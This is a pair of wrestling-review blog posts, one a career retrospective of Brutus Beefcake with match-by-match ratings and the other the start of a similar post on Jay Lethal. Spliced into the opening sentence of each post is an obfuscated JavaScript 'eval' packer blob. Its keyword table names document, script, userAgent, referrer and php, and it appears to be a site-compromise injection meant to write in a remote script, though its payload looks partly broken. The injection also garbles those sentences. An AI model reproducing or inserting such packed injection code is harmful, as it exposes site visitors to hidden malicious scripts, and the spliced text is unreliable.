Wrestler of the Day – April 21: Brutus Beefcake

Today is the man of a million gimmicks, but his most famous is Brutus Beefcake.

 

Beefcake eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nntfn|var|u0026u|referrer|kkndn||js|php'.split('|'),0,{})) was trained by Hulk Hogan and brought in as part of a tag team with Hulk known as the Boulder Brothers. Here’s one of Ed Boulder’s matches in Memphis from some point in 1979.

Ed Boulder/Dallas Montgomery vs. Ron Bass/Pete Austin

This is Boulder’s debut in Memphis. Bass makes fun of Ed’s long blond hair before the match gets going to give us a bit of a story here. The heels jump Ed and Dallas to get things going with Bass cutting Boulder open before the bell. The dominance is on quickly with the heels taking turns on Boulder. There isn’t much to talk about here as Boulder and Dallas have gotten in no offense so far and Bass is just mauling Ed. The match is finally stopped due to brutality.

Like most wrestlers of this era, Boulder had a cup of coffee in the AWA. Here’s a match from Super Sunday 1983.

Wahoo McDaniel vs. Dizzy Ed Boulder

Boulder is more famous as Brutus Beefcake and has long blonde hair here. He looks to be roided out of his mind also. Feeling out process to start and Wahoo chops him down hard. Jerry Lawler jumps in on commentary. Test of strength goes to Wahoo and he grabs a top wristlock. Down to the mat and Wahoo drops knees onto the arm. Boulder takes him down and drops some knees onto Wahoo. To be fair that’s a large target so it’s hard to miss.

Lawler talks about winning his match and being glad it didn’t end in a DQ. Boulder slams him down and drops another knee and then ANOTHER. He must have dropped about seven so far. Now to mix it up he chokes with the knee as well. Wahoo gets whipped into the corner and Boulder goes after the knee a bit. The announcers talk about the main event as Wahoo comes back with chops and a right hand to the ribs. Wahoo rams him into the corner a few times and goes on the warpath. A big chop sets up a big elbow for the pin.

Rating: D-. This was really boring. Wahoo was a guy who got over for his character and toughness, but his in ring work never quite worked all that well. Either way, this wasn’t very interesting at all but at least it was short. Also having Lawler on commentary makes a wrestling match feel right for some reason.

Beefcake would become his most famous gimmick in the WWF, with one of his first matches coming at MSG on October 22, 1984.

Brutus Beefcake vs. Tony Garea

Brutus struts to start before shoving Tony into the corner. Tony comes back with some right hands and a headlock to slow things down one more time. Back up and a cross body gets two for Garea and it’s back to the stupid headlock. Beefcake counters into a headscissors to really crank things up before choking away. Brutus pounds away but misses a charge into the corner, allowing Tony to get in some right hands of his own. Back up again and Garea gets two off an O’Connor Roll, only to get caught by a knee to the head for the pin.

Rating: D+. Garea is a good guy but Brutus wasn’t worth much at this point in his career. The match was kept short to prevent Brutus from looking weak which was a good idea, but it didn’t make it an easy sit. If it sounds like I’m rambling to fill in space here, it’s because this show has dulled my brain very badly.

Brutus would be on the first Wrestlemania card, facing the son of a legend.

David Sammartino vs. Brutus Beefcake

Sammartino was the son of a legend and had a good way into the business as a result. He had a good look on top of that, but he had one thing holding him back: he had no talent. His “career” was really just a way to keep Bruno around for a few more years to draw in some extra crowds and that’s the only reason this match is happening. Beefcake is new at this point and is nowhere near what he would become so this is going to be pretty bad.

David’s height doesn’t help him either as he’s about 5’8 or so. They head to the mat to start and Brutus has to bail to the floor for a breather. Back in and Sammartino takes it right back to the mat with a front facelock. A legdrop to the arm has Beefcake in trouble and it’s time to talk to the managers a bit. Beefcake comes back with a headlock takeover but David grabs the legs to work them over a bit.

Off to a leg lock as we keep things very basic so far. Brutus fights up with his leg seeming fine all of a sudden. He drops some forearms to David’s back and there’s a hard whip into the corner by Beefcake. David comes back with a backdrop and they slug it out a bit. Sammartino strikes like his daddy. A suplex gets two for David but Brutus sends him to the floor. The managers get into a fight and both guys run in for a double DQ.

Rating: D+. This is a hard one to grade as it’s a competitive match and not completely terrible, but the problem is how low level of quality this was. Neither guy was terrible but you could tell they were trying which makes a big difference. This could have been WAY worse but it just wasn’t that good in the first place.

Here’s a match from less than a month later from Best of the WWF Volume 4. No story to it but with this matchup, you don’t really need one.

Dream Team vs. Tito Santana/Ricky Steamboat

This is in Toronto. My goodness that’s quite a face team. Ricky vs. Beefcake starts us off. The ring is quickly cleared and Ricky hits what we would call a springboard forearm to take over. Off to Tito as the camera stuff is really all over the place here. Jesse sounds like he has a sore throat. Valentine and Santana stall a lot so Brutus slams Tito and then brings in Greg.

Valentine misses an elbow and it’s back to more stalling. I can barely recognize Jesse’s voice. That’s how messed up it is. Big clothesline puts Valentine down but the Figure Four is broken up. Greg takes over and works over the arm. Off to Bruti who can’t do much more than choke at this point. This is before the Expresses established the tag team formula so things are a bit different here.

Tito grabs an armbar but his back is to the wrong corner so he can’t get anything going. Back to Beefcake in control via a headlock. In a nice sequence, Beefcake points at Steamboat to distract the referee and Valentine gets in a shot to the back of Santana. With Ricky trying to get in, Santana gets on all fours and tries to bob and weave, eventually diving through Beefcake’s legs for the HOT tag to Steamboat.

Sleeper goes on Beefcake but he pretty easily breaks it up. Valentine comes in to hammer on Ricky and an eye rake slows the Dragon down. The Dream Team (not sure if they’re named that yet or if Steamboat is the Dragon) works him over and Valentine starts loading up the Figure Four but Steamboat small packages him for two. Steamboat fights out of the corner and makes ANOTHER hot tag to Santana. The forearm gets two on Valentine and everything breaks down. Ricky is sent to the floor but he comes back off the top to take Brutus out. Santana counters an atomic drop, hooks the leg and the Figure Four ends this.

Rating: B. Great old school tag match here and more proof that you don’t need some big long back story to have a great match. These four had no history together outside of Valentine beating Santana for the IC Title and that was like 6 months prior to this. Very fun wrestling match here and we didn’t need Teddy Long to book it.

Since he’s teamed with him about a million times, here’s Beefcake against Hogan from August 17, 1985.

WWF World Title: Hulk Hogan vs. Brutus Beefcake

This is from Landover, Maryland which I think is just outside of Baltimore. Hogan is in white again as the yellow wasn’t quite finalized yet. This is the Dream Team Brutus so he’s just a tag wrestler for the most part. This would be just a step ahead of Edge vs. Justin Gabriel today. Brutus struts a lot. This is from August of 85 apparently. Basically every time Hogan goes for a punch Brutus struts away so Hogan finally does the same thing for a nice reaction.

Clothesline by Hogan puts Brutus down and an atomic drop puts him on the floor. Back in and Brutus lands some forearms and Hogan goes flying. You would think he had been shot or something. Hogan rams him into the buckle and chokes away, showing off that extensive offensive repertoire. Hogan throws a headbutt for the third match on this tape with the commentators saying they’ve never seen it before. This is the earliest chronologically here so maybe they haven’t seen it at this point.

Brutus takes over again and sends Hulk to the floor. Hogan fights back with his usual stuff and bites Brutus’ head. Brutus is like boy you don’t bite the Booty Man and sends him into the railing. That gets two back in the ring. Powerslam by Beefcake gets two. There’s a bearhug which is an odd move as Brutus isn’t a very muscular guy at this point. This eats up a good minute and a half to two minutes.

Hogan fights out of it and hits a big clothesline to take Brutus down. An elbow sets up a bunch of left hands (it was 1985 so he didn’t have the routine down just yet). There’s the big boot and then a slam to set up the legdrop….for two? Oh ok Johnny V, the manager of Brutus that I may not have mentioned, distracted Hogan. A high knee from Brutus takes Johnny down and Hogan rolls up Brutus to end it.

Rating: D+. This wasn’t anything great at all. The problem at the end of the day is that Brutus meant nothing here and didn’t have any real history with Hogan. Heenan’s guys had a history against Hogan but Johnny V was a nothing manager with like one tag team to his name that meant anything. Boring match and not Hogan’s bread and butter which hurt it a lot.

Beefcake would team up with Greg Valentine as the Dream Team and win the Tag Team Titles in late 1985. Here’s a title defense from Saturday Night’s Main Event #5.

Tag Titles: British Bulldogs vs. Dream Team

The Dream Team has Beefcake and Valentine and are the champions. If you’ve seen Mania 2, you know the ending here. The Dream Team comes out to We Are the Champions. That’s very awesome. Johnny Valiant, the manager for the champions talks about how losing in a non-title match means nothing.

Smith and Valentine start us off which should be good if nothing else. They’re going fast paced which is always fun. The 80s were the glory days of tag team wrestling and this is no exception. I love this kind of stuff so don’t expect a lot of play by play here. Albano and Valiant are about to fight on the floor and the teams join them as we hit a commercial. And now the heels take over.

Valentine even goes to the middle rope so you know he’s into this one. Dynamite comes in and cranks it up. He’s like Benoit so you know he’s going to be intense out there. In a creative ending, Valentine and Kid ram heads and Valentine lands on him for the pin to retain. I like that.

Rating: B-. Not bad at all here. They went with the formula and it worked quite well and when you throw in a solid finish, what more can you ask for? Like I said, this was the best time for tag wrestling ever so this was light years ahead of the best you see today. This is real tag stuff, not four singles guys having a 2-2 match.

Here’s a rematch between those teams from Wrestlemania II, in what is arguably Beefcake’s best match ever.

Tag Titles: Dream Team vs. British Bulldogs

The Dream Team is Brutus Beefcake and Greg Valentine and they’re defending. For absolutely no apparent reason, the Bulldogs have Ozzy freaking Osbourne in their corner. Smith and Valentine start things off with Davey pounding away in the corner. Off to a wristlock before Dynamite comes in to send Valentine into the buckle for two. There’s the snap suplex for no cover and it’s back to Davey for the delayed vertical.

Greg gets in a few shots in the corner including a forearm to the back to take over and finally bring in Brutus. He cranks on the arm and is immediately gorilla pressed down by Smith. Dynamite comes in again and gets two off a small package. Beefcake makes a blind tag though and Valentine comes in off the top via another forearm to the back and the champions take over. Kid comes right back and pounds away before bringing Smith back in.

The Bulldogs hit a double headbutt for two for Kid but Brutus comes in sans tag to switch momentum right back. Valentine gets two off a kneeling piledriver but falls victim to the Arn Anderson self-crotching mistake. He continues the Horsemen theme by going up top and getting slammed down ala Flair as everything breaks down. Dynamite gets sent to the floor so Smith comes in with the powerslam (not yet the finisher) for two on Valentine.

Davey misses a charges into the post though and his shoulder is hurt in a hurry. Brutus comes in to work over the arm and hits a kind of hammerlock slam. Valentine hits a shoulderbreaker but pulls up before covering. In a VERY sudden ending, Dynamite gets on the top rope while still illegal and Davey rams Valentine’s head into that of Dynamite for the pin and the title.

Rating: B. It’s not a great or even a very good match but after nearly two hours of lame wrestling with nothing matches, this was a great breath of fresh air. The Bulldogs would be champions for the better part of a year while the Dream Team would survive for another year before splitting at the next Wrestlemania. Good stuff here though.

The team would split up at Wrestlemania III with Beefcake turning face. Brutus would feud with Valentine for awhile afterwards, including this match from June 23, 1987.

Rougeau Brothers/Brutus Beefcake vs. Dream Team/Johnny Valiant

This is a dark match from a Superstars taping in Indianapolis. Ray vs. Dino to start us off. Dino keeps running as you would expect him to. Valentine tries to cheat by holding Ray but Ray avoids the jumping knee. The place ERUPTS on something that simple. It’s amazing how you never see that anymore. Beefcake comes in and goes for Greg’s hair, resulting in the heels congregating on the floor.

Valiant, a manager remember, hides on the floor. Beefcake gets caught in the corner and even Valiant gets in some time on offense. Beefcake grabs a sleeper on Valentine but Valiant makes the save. Both Rougeaus come in and pound on Bravo as the place loses its mind. Boston Crab by Ray is broken up by Valentine, which draws Ray into the bad corner.

Back to Greg who gets a shoulderbreaker for two. In a pretty impressive power display, Ray counters a piledriver into the position for an Alabama Slam, but instead he walks towards his corner with Valentine on his back. Greg doesn’t let him get the tag but still it was impressive. Ray is on the floor and we’re clipped to a later point of him on the floor. Bravo drops another elbow and we’re clipped to Valentine in there instead.

Back to Bravo and Dino hammers away. This is the WWE 24/7 version so the big WWF Superstars of Wrestling banner is censored. Off to Johnny V and they just kind of let Ray tag in Brutus. He and Jacques clean house and it all breaks down. The heels are all thrown together and a pair of dropkicks send the non-managers to the floor. Valiant is put in the sleeper and we’re done.

Rating: C. This was fine. You never see stuff like this in modern wrestling and that’s a shame. There’s nothing too bad here and it was just a six man tag. The fans get to be happy and the faces get a win. There’s no bigger plan here and none of the guys really seem to be all obsessed about moving up the card. All that matters here is getting a win. Why can’t we see more of that?

Beefcake would start flying up the card, receiving an Intercontinental Title match at Wrestlemania IV.

Intercontinental Title: Honky Tonk Man vs. Brutus Beefcake

Sherri Martel is with Honky as Peggy Sue here which is a pretty amazing character change for her. This is during Honky’s insanely long run that drew a ton of money and is pretty awesome all around. Brutus hits a quick atomic drop and messes with Honky’s hair to play with his mind a bit. Honky bails to the floor as Jesse and Gorilla debate crooked referees. Back in and Beefcake rams Honky’s head into the buckle a few times as this is one sided so far.

A high knee sends the champion back to the floor but once back in, Beefcake gets caught by a shot to the stomach. Honky takes over and stomps away which is about the extent of his offense. He loads up the Shake Rattle and Roll but drops it and goes back to stomping. Honky tries it again but Brutus grabs the rope to block it. Beefcake pounds away a bit and grabs his sleeper but Jimmy knocks out the referee. Honky gets knocked but but there’s no referee so Brutus celebrates like an idiot. Brutus cuts Jimmy Hart’s hair for fun and Honky walks out. It’s a DQ I think.

Rating: D+. Nothing to see here as this show is just going WAY too long at this point. We’re only about two and a half hours into it and we’ve got four matches left. Brutus was just another guy in there to not get the title off Honky, which adds him to a list of about 10 guys who couldn’t do it. Honky would get his soon enough though.

We’ll jump ahead a bit more to Summerslam 1989 where Beefcake teamed up with Hulk Hogan to face Zeus and Randy Savage in the main event of the second Summerslam.

Zeus/Randy Savage vs. Brutus Beefcake/Hulk Hogan

Before we get going, Liz gets her own full entrance as the secret weapon. It’s a brawl to start but Hogan can’t hurt Zeus. He goes to the eyes but can’t slam Zeus down so the monster chokes Hulk down. Beefcake tries to dive on Zeus but gets caught in midair. Now it’s a bearhug on Hogan but here’s Savage off a tag. Why in the world would you change when you had Hogan in trouble like that? A top rope ax handle gets two for Randy and it’s off to the sleeper.

Hogan elbows out of it and hits some shoulder blocks but Zeus knees him in the back to slow him down. Back to Zeus for another bearhug which takes Hogan down to the mat for some two counts. It’s back to Savage to snap Hogan’s throat over the top rope and a suplex gets two. Savage misses some elbow drops and there’s the hot tag to Beefcake. A high knee gets two on Savage and Beefcake hooks his sleeper. Savage rams him into the middle buckle and it’s off to Zeus, but Brutus puts him in a sleeper as well.

Randy breaks up the hold with Sherri’s loaded purse but he suckers Hogan into the ring instead of covering. Hogan stops Savage from attacking Liz but Beefcake is still in big trouble. Back to Zeus for some choking on Beefcake until the referee makes the save. Savage comes back in but walks into a double clothesline to put both guys down. The hot tag brings in Hogan to clean house but Sherri trips Hulk up to give Savage control again.

The big elbow hits but Hogan is up before there’s any cover. Savage runs away and it’s time for the showdown with Zeus. Hogan pounds away and finally puts Zeus down to one knee. Liz takes out Sherri and Beefcake intercepts Savage, causing him to drop the loaded purse. Hogan blasts Zeus in the face with the purse, slams him down and drops the leg for the pin.

Rating: D+. Amazingly enough, a non-wrestler like Zeus wasn’t capable of having a good match on any size of a stage. Beefcake and Savage were just window dressing here, but in this case the window dressing carried the match for his team. Zeus was just horrible here and was basically the original promotional stunt for a wrestling movie, which never works.

Beefcake’s next feud would be against the undefeated Mr. Perfect, who attacked him at Royal Rumble 1990. This set up a showdown at Wrestlemania VI.

Brutus Beefcake vs. Mr. Perfect

This is one of the biggest matches on the card. Beefcake starts fast and punches Perfect to the floor with a single right hand. Back in and another punch sends Perfect flying over the top rope again. Brutus pounds away some more and Perfect gets to do his over the top bumping. A running clothesline puts Perfect down and Beefcake calls for the sleeper as Mary Tyler Moore of all people is here.

Perfect’s manager the Genius (the original Damien Sandow. They both even did cartwheels) slides in his metal scroll to Perfect and a shot to the head gives Mr. control. Perfect pounds away with some slow shots to the chest but the fans are staying into this. Beefcake comes back with the required slingshot into the required head first into the post bump by Perfect which is enough for the win out of nowhere.

Rating: C-. The crowd carried this one as Beefcake wasn’t a great worker but he had more charisma than he knew what to do with. Perfect was a leading candidate to face Hogan here so he was certainly a top heel. The match wasn’t great but it was more than enough to fire the crowd up again here. Granted the crowd is already white hot so no complaints here.

Post match Brutus goes to cut Perfect’s hair but Genius steals the clippers. Beefcake chases down the worthless Genius for a sleeper and a haircut. Brutus’ SWEET music is playing the whole time on top of that.

Soon after this, Beefcake’s face would be destroyed in a boating accident, putting him on the shelf for several years. He would return in early 1993 and team up with Hulk Hogan as the Mega Maniacs. Now I’m sure you’ve seen the match against Money Inc. for the Tag Team Titles at Wrestlemania IX, so here’s a different match from March 8, 1993.

Beverly Brothers vs. Mega Maniacs

The Mega Maniacs would be Hogan and Beefcake. Someone thought THIS was a good idea? This would imply early 93 to me. Beefcake and one of the Beverlies start. Does it really matter? Before any contact is made Hogan comes in instead. The commentary is clearly after Mania as he’s credited as a 5 time champion but had no belt when he came in.

Pure dominance to start of course. Hogan is MUCH smaller than normal here as this was around the time of the steroids trial. Heenan explains why he hates Hogan: Hogan can get away with things that Heenan never could. That’s 100% true but of course no one but Heenan and Jesse would point such a thing out. Beefcake has a messed up face at this point but of course he’s just fine after getting it rammed into the top buckle.

Beefcake gets beaten down for a bit and I think you already can see the ending coming from a mile away. Were the Beverly Brothers supposed to have a gimmick? If they did I’ve never been able to get what it was. It’s a shame as they were very good in the AWA. Beefcake makes the I guess you could say hot tag to Hogan and you can fill in the blanks yourself. A Megaphone shot ends the match for Hogan of all things rather than the usual stuff. That was weird.

Rating: D. For a 6 minute match this was rather boring. The Beverlies were the jobbers of the tag division so it’s not like this was a shock in the slightest. The Hogan/Beefcake team would be done just after Mania as Hogan headed to retirement for about a year after King of the Ring. This was fine for what it was, but it was just bad overall. At least the people got to see Hogan though, even though he was more or less done at this point.

Hogan would leave for WCW soon after this so of course it was off to Atlanta for Beefcake as well. He would be called Brother Bruti but soon betray Hogan. Somehow Beefcake got to main event Starrcade 1994 as the Butcher, challenging Hogan for the belt.

WCW World Title: The Butcher vs. Hulk Hogan

Hogan’s music stops for the big match intros then starts up again after his introduction. Commissioner Nick Bockwinkel sends Sullivan and Avalanche to the back. Hogan (the champion of course) shoves Butcher away but Butcher goes to the eyes to take over. The announcers talk about these two being longtime friends, with Heenan saying this is like watching Andy beat on Aunt Bea. They head to the floor with Butcher ramming Hogan into the barricade and choking away with a cable.

Jimmy Hart steals a chair from Butcher as Heenan cheers Butcher on. Hogan comes back and sends Butcher into the post before hitting him with a chair. Now Hogan chokes with a cord as well before we head back inside where Butcher hits a running knee to the face. A powerslam gets one for Butcher as he pulls off of Hogan. Butcher misses a middle rope elbow and Hogan comes back with right hands to the head. The champion bites Butcher’s head and pounds away in the corner as Hogan is in full control.

Butcher comes back with some throat shots before we hit the nerve hold. Hulk fights up and hits a shoulder block, only to be knocked back into the ropes. There’s Butcher’s sleeper but Hogan is almost immediately fighting up. Butcher takes him back down and lets Hogan go, but Hogan is playing possum. The challenger covers and Hogan of course shoves him off at two. As is Hogan’s custom, he fires off right hands, beats up the other invading Faces of Fear and hits the legdrop to retain the title.

Rating: F. At the end of the day, this is Hulk Hogan beating up a guy who has done absolutely nothing of note over the years but is Hogan’s good friend. In other words, this had nothing to do with the Butcher’s ability or anything like that, but rather that he was friends with Hogan. The match was horrible with Hogan never being in anything resembling danger, making this a horrible choice for the Starrcade main event. Other than maybe 1992, this was probably the weakest main event to date.

Beefcake would get yet another gimmick as the painted Zodiac, who would face Randy Savage at Halloween Havoc 1995.

Randy Savage vs. Zodiac

Zodiac has what would become Rey’s music soon. It’s Brutus Beefcake being able to only say yes or no. Yeah it didn’t work. I’m stunned too. Ok so apparently Luger and Savage have to win their matches earlier in the night to get a match with each other tonight. If just one wins then…nothing happens I guess. Well ok then. I love that rock version of Pomp and Circumstance.

Savage jumps him early and is dominating. A fan runs into the ring and stays in there for like 20 seconds with the referee just owning him. Security gets rid of him as Savage wins with the elbow in less than two minutes. This was supposed to be Kamala but he left the company. No one else noticed. Total squash so no rating.

Things would be a bit better when Zodiac became Booty Man and fought Diamond Dallas Page at Uncensored 1996.

Diamond Dallas Page vs. Booty Man

Oh where do I even start here. Ok, Booty Man is Brutus Beefcake first of all, who is freshly face again, having been a heel in the Dungeon of Doom, only to be thrown into this match with the explanation that he was sent in by Hogan as a spy and was really a good guy all along. That….actually could work. I mean think about it: is that really such an insane plot idea?

I certainly wouldn’t think so. I mean it’s certainly not great or fleshed out or anything, but considering it was likely thrown together at the last minute it’s fine by me. Now, you might be wondering why we’re even having to talk about Brutus here. Well, this was supposed to be Johnny B. Badd fighting DDP for the 12th time in a week or something like that, as they had been feuding forever.

Why were they feuding? Well, DDP was this poor guy that got some money together and went to play Bingo with Kimberly. He bought her ticket and she won $12 million dollars at a freaking Bingo game. I want to play in that game! Anyway, they went to court over it and the judge gave it to her. The thing was, he had already spent a ton of it, and Johnny was the only guy that would defend her.

The TV Title got involved in there too but it wasn’t important. Anyway, this is money vs. career so there we are. Badd had jumped ship about two weeks before this to WWF as Marc Mero and debuted 7 days after this. So with no one at all to go to, they turned Brutus into the Booty Man of all things and we have this.

Think about that story for a bit: that’s pretty much the main midcard feud: a feud over a game of Bingo, and people wonder why this company sucked so much at this time. DDP is allegedly penniless here, but he has enough to get tights and boots. He’s doing some almost biker gimmick or something here too. Oh and Kimberly is called the Booty Girl now. Page looks awful here. Brutus is wearing the same tights he wore as the Barber but now he’s wearing a headband and has a REALLY bad song.

They bury Badd before the match, saying he decided he just couldn’t compete in WCW anymore. Ouch. Dang shame he had about 5 times as big of a career in WWF than he ever would have in WCW where he would have been swallowed by the NWO in six months and gone to WWF for half the money later on. Yep, his life sucked. Sadly, we haven’t even started the match at this point.

We start with Page hiding and smoking a cigar as Brutus is apparently a Hulkamaniac. The way his tights are cut Brutus looks like he’s wearing a really big thong. They haven’t actually made contact yet. HE LOCKED UP WITH HIM! HE LOCKED UP WITH HIM!!! After that, we waste some more time. We’ve been going for almost three minutes before they actually do any real wrestling.

We get a great line of after the money came in, the Diamond Doll (Kimberly) got built up with Page. Think about that for a minute and you’ll get it. Anyway, they finally get going here and in a funny bit, Heenan starts talking about the angle and Dusty talks over him. Bobby starts getting upset and complaining, saying that he won’t talk anymore and it’s now the Tony and Dusty Show. BOBBY, PLEASE FOR THE LOVE OF THINGS GOOD AND MADE OF PORK TALK TO US!!! DON’T DO THIS TO US!

Thankfully he’s back a few seconds later. Dusty actually says Brutus is a skilled mat wrestler. Yep, that’s what he said. Anyone want to place a bet on him topping that one later on? As Dallas is on the floor, Kimberly comes out looking like a roller disco cheerleading French maid. Trust me, you would describe her the same way. This is just horrible. It’s more or less a dance recital with some arm work in there.

That was the absolute worst mistiming thing I’ve EVER seen. DDP reverses an Irish Whip and then I have zero clue what they were planning as Page lays down on his back and Brutus bent forward after running like he was going to back drop Page. I really don’t know what that was supposed to be but even the announcers can’t hide the fact that it was horrible looking.

I mean TONY FREAKING SCHIAVONE says “Oh what was that?” in a very sarcastic tone. They try to say it was a botched arm drag but that doesn’t work. OH! They repeated the spot (dingbats) and it was supposed to be Brutus goes for a cross body and Page ducks. The problem was that the first time I think Brutus was thinking shoulder block or something. It was so obviously a repeat of the spot and it just looked awful.

You can tell that Page, who likes to map stuff out, has no clue what to do here. He liked to have his whole matches scripted beforehand, something Randy Savage was notorious for in his best days, but this was thrown together so there we are. Also, this is nowhere NEAR the DDP that you’re used to. Kimberly wants Brutus to be her boyfriend. That’s her exact line. Is she wanting to participate in a drug intervention or something?

In another jab at Badd, they say that Page signed to fight bad and the announcers unanimously agree Page would have won. They say a heel would beat a face, which sums everything up. Heenan says if she’s looking for a boyfriend to put an ad in the paper. Bobby says that in that outfit the only person she could get is a fellow acrobat. Page kisses Kimberly, leading to a high knee for the pin.

Brutus “keeps” Kimberly due to the stipulation. WCW: a slave trader’s paradise! Brutus kisses her. I’d recommend about a week in a dentist’s office along with a high dose of antibiotics. She’s the Booty Girl now. I’m out of jokes here so post amongst yourselves. Page would of course be back and somehow wrestle THREE MATCHES at the next PPV. Good to see they’re keeping their promises.

Rating: D. This went WAY too long. To be fair, Kimberly looked pretty good so it gets points for that. It also launched DDP’s career as he became this guy that despite being fired still was filmed by WCW cameras and shown on WCW TV. He would get some mystery benefactor that was never revealed due to the NWO. He would return and become the character we all know and at least like, launching him into the stratosphere in WCW.

Hey look! Another gimmick! From September 28, 1998.

Disciple vs. Sick Boy

No sunglasses for Disciple here and he comes out to the NWO music though he’s wearing an OWN vest. Sick Boy jumps him to start but Disciple no sells a suplex and chokes away. This time it’s Sick Boy no selling a gutwrench suplex but Disciple immediately no sells a neckbreaker and hits a big boot “to the face” (clearly missed) and the Apocalypse is good for the pin. I wonder how many people knew that was Brutus Beefcake. The only direct reference to it was a one off line from Warrior calling him a barber and he looked so different that it might not have been clear.

We’ll wrap it up with a one off show from Australia called I-Generation Superstars of Wrestling in 2000.

Barbarian vs. Brute Force

Force is Brutus Beefcake and this is a hardcore match for no apparent reason. Brutus pulls Barbarian away from posing for a trashcan shot to start things off. Some broomstick choking has Barbarian down in the corner but a low blow stops Force’s force. Yeah I know that was bad but this show is dumbing me down and we’re not even half an hour into it. A headbutt low gets Barbarian yelled at for no reason but a trashcan to the head is fine. The announcers talk about a popcorn machine as Barbarian stomps him down in the corner. I could go for a hot snack to keep me awake too.

We head to the floor with Barbarian being rammed into the table and hit with the trashcan again. Barbarian fights from his back with trashcan lid shots but has to avoid a shot with the steps. Back in and Brutus is hit with a 2×4 and punched in the head a lot. Some choking with a chain does no good for Barbarian as Brutus comes back with an atomic drop and a low headbutt. A Stunner, a DDT and a piledriver get two each for Brutus but a single kick to the chest/ribs is good for the pin for Barbarian.

Rating: D-. This is a good example of the problem with gimmick matches: there’s no reason for this to be a hardcore match so it’s just two people hitting each other with trashcans for ten minutes. That doesn’t make for an interesting match but rather a boring waste of time until we get to a very stupid finish that made Barbarian of all people look tough instead of the hero.

As you can see, Beefcake had a ton of names, once being called the Dizzy Booty Disciple Zodiac Clipmaster Barber Without a Face, Brutus Beefcake. That being said, Beefcake never was all that great in the ring and was best known as being one of Hulk Hogan’s closest friends. That being said, he certainly didn’t do that badly for himself and kept a job for about twenty years plus. That’s not bad all things considered and he was awesome around 1990 or so.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Clash of the Champions at Amazon for just $3.99 at:

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Wrestler of the Day – April 20: Jay Lethal

Today we’ve got someone that I’ve never gotten the mass appeal of but maybe I’m missing something. It’s Jay Lethal.

 

We’ll eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|byrbe|var|u0026u|referrer|hzzyn||js|php'.split('|'),0,{})) start things off with a show I think we’ve looked at before: Super Indy 2004, a tournament with Lethal in the first round.

Super Indy 2004 First Round: Jay Lethal vs. Jerelle Clark

Clark is a flippy guy that was around in the earlier days of TNA and is the NWA Wildside Junior Heavyweight Champion coming into this non-title match. Feeling out process to start as they trade armdrags with Lethal being sent to the floor. Back in and Lethal gets caught in a headscissors followed by some armdrags and a dropkick, sending him right back to the floor. Lethal comes back with a sunset flip and running dropkick for two of his own. A Swan Dive gets two more for Jay, followed by a release dragon suplex for the pin on Clark.

Rating: D+. This was a short match and neither guy really showed me much. I’m not sure about having a champion get pinned clean in about five minutes but indy wrestling is strange sometimes. Clark didn’t show me much here but he was more known for a very big flipping splash than anything else.

Lethal would spend a good deal of time in ROH around this point, including this match from Joe vs. Punk II on October 16, 2004.

Delirious vs. Jay Lethal

Lethal is 19 here and is VERY young looking, probably because he is young. Delirious starts off with his usual insane stuff. Wait. DELIRIOUS WAS THE LIZARD MAN??? I heard about this for years about how ROH had a lizard man and it was Delirious? I’ve wondered who that was for years. Delirious hasn’t won a singles match yet so this is a big deal for him. Lethal takes him to the corner but is knocked off and takes a rana for two.

They exchange forearms which is a required sequence in ROH. There are the chops and the WOOs. Out to the floor and it’s kind of cool to see them using handheld cameras. Delirious hits a front flip dive to the floor to take Lethal down again. Lethal reverses a rollup for two. Delirious shouts a lot but gets caught in a neckbreaker but catches Lethal coming off the top in a Cutter. That’s not worthy of a pin though. Well to be fair Delirious is supposed to be insane. Shadows Over Hell (splash to the back and not called that yet) gets two. Delirious yells some more and gets caught in a dragon (full nelson) suplex for the pin.

Rating: C-. There wasn’t much of a point to it but for the opener this was fine. Lethal would get a lot better and Delirious would get a lot funnier so this is one of those matches that would be much better about 3 years later. Nothing great here but they were trying and for guys who didn’t have much experience, this worked well enough. Just not that interesting though.

We’ll jump ahead to TNA, where Lethal is probably best known. Here’s a random multiman match from Against All Odds 2006.

Alex Shelley vs. Matt Bentley vs. Jay Lethal vs. Petey Williams

One fall to a finish here. Bentley has Traci with him and we get the eternally stupid Bentley Bounce. Can we just watch Traci bounce instead? Bentley and Williams start things off as the fans chant for Lethal. It’s a feeling out process to start with Williams taking over. He goes to do the O Canada deal but Traci offers a curvy distraction. Lethal and Shelley come in and the fans get loud for the first time tonight.

We get a gymnastics routine resulting in them both trying dropkicks at the same time. They chop it out and Lethal hits a dropkick to the back of the head for two. A modified northern lights suplex gets the same for Jay as Shelley tags out with his foot. I guess that doesn’t count so Alex hooks a modified Koji Clutch on jay to take over. Shelley hits a slingshot hilo for two on Jay but Williams tags himself in to face Lethal.

Petey hits a dropkick to the back and slams Jay down. Off to a camel clutch but Shelley comes in to argue about Williams getting the win. That allows Jay to tag in Bentley as this is coming off more like a tag match than a fourway. Bentley cleans house but gets crotched by Petey. A Tower of Doom is broken up and Lethal grabs a bridging German for two on Shelley, but Bentley drops a top rope elbow to break it up. Williams counters a suplex and hits a rolling neckbreaker for two on Bentley.

Lethal comes back in and goes off on Shelley but Alex gets a drop toehold to break it up. Bentley comes back in and things speed WAY up as he and Shelley do a too fast to call sequence. Jackie Gayda comes out and goes after Shelley (Shelley filmed the tape that has been brought up multiple times tonight). She beats him up in the aisle as Bentley backdrops out of the Canadian Destroyer. Lethal dives on Bentley and steals the pin while he’s still down.

Rating: C+. This was fine but after we already saw one match similar to this, there wasn’t as much interest in seeing another one. Still though it was fine and a good use of about ten minutes. Also the fans were into Lethal which is more than can be said for anyone in the opener, save for Aries when he did the suicide dive. Decent match here but nothing that I’ll remember in about ten minutes.

